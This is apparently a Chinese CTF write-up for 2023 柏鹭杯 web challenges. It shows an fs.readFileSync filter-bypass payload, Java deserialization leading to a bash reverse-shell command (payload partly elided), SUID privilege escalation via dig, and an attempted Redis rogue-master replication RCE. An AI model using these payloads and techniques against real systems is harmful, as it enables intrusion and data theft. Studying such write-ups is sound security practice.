[2023柏鹭杯]赛后总结
Web WriteUP
express fs
首页可以读文件。
main.js
const express = require("express");
const fs = require("fs");
const app = express();
const PORT = process.env.PORT || 80;
app.use('/static', express.static('static'))
app.use((req, res, next) => {
if (
[req.body, req.headers, req.query].some(
(item) => item && JSON.stringify(item).includes("flag")
)
) {
return res.send("臭黑客!");
}
next();
});
app.get("/", (req, res) => {
try {
res.setHeader("Content-Type", "text/html");
res.send(fs.readFileSync(req.query.file || "index.html").toString());
} catch (err) {
console.log(err);
res.status(500).send("Internal server error");
}
});
app.listen(PORT, () => console.log(`express server listening on port ${PORT}`));
搜了下,没想到是原题fs.readFileSync的利用
app.use不允许传入的请求体、请求头、参数包含"flag";/下的file参数可以读文件。
nodejs有个特性,如果传入多个query参数,比如?query=1&query=2&query=3。nodejs在解析这样的参数时,不会用后面的值去覆盖前面的,而是将其作为一个数组保存。
而fs.readFileSync()可以接受一个URL类型的参数,它可以是一个URL对象或者对应格式的数组。fs.readFileSync()在解析这个URL的时候会自动进行URL解码,所以这时可以用URL编码绕过app.use中对flag的检测。构造一个file协议的URL数组传入,payload如下(对pathname进行二次编码)
?file[href]=a&file[origin]=1&file[protocol]=file:&file[hostname]=&file[pathname]=/server/%2566%256c%2561%2567.txt
综合题
这个环境中有三个flag

1
上传文件后,view处可以任意文件下载

根据题目的提示,可以把题目的jar包下载下来(/app/demo.jar),反编译得到源码。
在Upload.java中找到第一个flag的点

函数实现了一个异或加密,O0O是密钥,enc_flag1则是经过函数加密再base64编码的内容。
异或是可逆的,简单写一下解密的代码
public class Test {
public static String enc_flag1 = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA==";
public static String key = "6925cc02789c1d2552b71acc4a2d48fd";
public static String decode(String result) {
StringBuilder flag = new StringBuilder();
byte[] decodedBytes = Base64.getDecoder().decode(result);
String decodedString = new String(decodedBytes, StandardCharsets.UTF_8);
for (int i = 0, len = decodedString.length(); i < len; i++) {
char f = decodedString.charAt(i);
char k = key.charAt(i % key.length());
char r = (char)(f ^ k);
flag.append(r);
}
return flag.toString();
}
public static void main(String[] args) {
System.out.println(decode(enc_flag1));
}
}
得到flag

2
/internalApi/v3.2/updateConfig路由有反序列化功能,Ping反序列化会执行命令。
直接反序列化命令执行弹个shell出来
Ping p = new Ping();
p.setCommand("bash");
p.setArg1("-c");
p.setArg2("{echo,...}|{base64,-d}|{bash,-i}");
String s = serializeToBase64(p);
System.out.println(s);
目录下的hint提示flag所在的位置,但是没有权限读。
使用命令find / -perm -u=s -type f 2>/dev/null寻找具有suid权限的程序。
找到了dig命令

用-f参数读取flag

没有解出的题
综合3
在读启动命令的时候知道了它启动的配置文件位置

读这个配置文件可以看到内网Redis服务的信息

在有了web的shell之后就想怎么去攻击这个Redis。将Java中用于连接Redis的jedis以及其所依赖的slf4j的jar包,上传上去。然后写一个连接测试一下
import redis.clients.jedis.Jedis;
public class RedisConnectionTest {
private static final String REDIS_HOST = "172.25.0.10";
private static final int REDIS_PORT = 62341;
private static final String REDIS_PASSWORD = "de17cb1cfa1a8e8011f027b416775c6a";
public static void main(String[] args) {
try (Jedis jedis = new Jedis(REDIS_HOST, REDIS_PORT)) {
jedis.auth(REDIS_PASSWORD);
String response = jedis.ping();
if ("PONG".equals(response)) {
System.out.println("Successfully connected to Redis!");
} else {
System.out.println("Connection to Redis failed!");
}
} catch (Exception e) {
System.out.println("Failed to connect to Redis: " + e.getMessage());
}
}
}
编译/运行
javac -cp .:jedis-3.7.0.jar RedisConnectionTest.java
java -cp .:jedis-3.7.0.jar:slf4j-api-1.7.32.jar:slf4j-simple-1.7.32.jar RedisConnectionTest
测试是可以访问到Redis的。接着尝试读取Redis数据库的内容,发现没有任何记录。
接下来就是尝试Redis的RCE,搜索之后找到了Redis主从复制RCE相关的内容
- Redis未授权访问利用RCE进行漏洞复现
- 利用工具:
用的是第一个工具,在远程启动python3 redis-rogue-server.py --server-only,然后用Java程序让Redis执行jedis.slaveof(ROGUE_REDIS_HOST, 21000);。
有回显,但是没有Redis相关的知识,这个内容也不知道说的是个啥

最后时间结束,很可惜没有做出来....
之后补一下Redis相关的内容准备。
剩下的题目
剩下了三道0解题目

jdbc知识盲区,直接放弃。
反序列化就是那种看一眼就明白,但是就是解不出的题。非常害怕

总之非常害怕
最后的UAF结果是个PWN....难顶
总结
突击一下Java还是有效果的🙃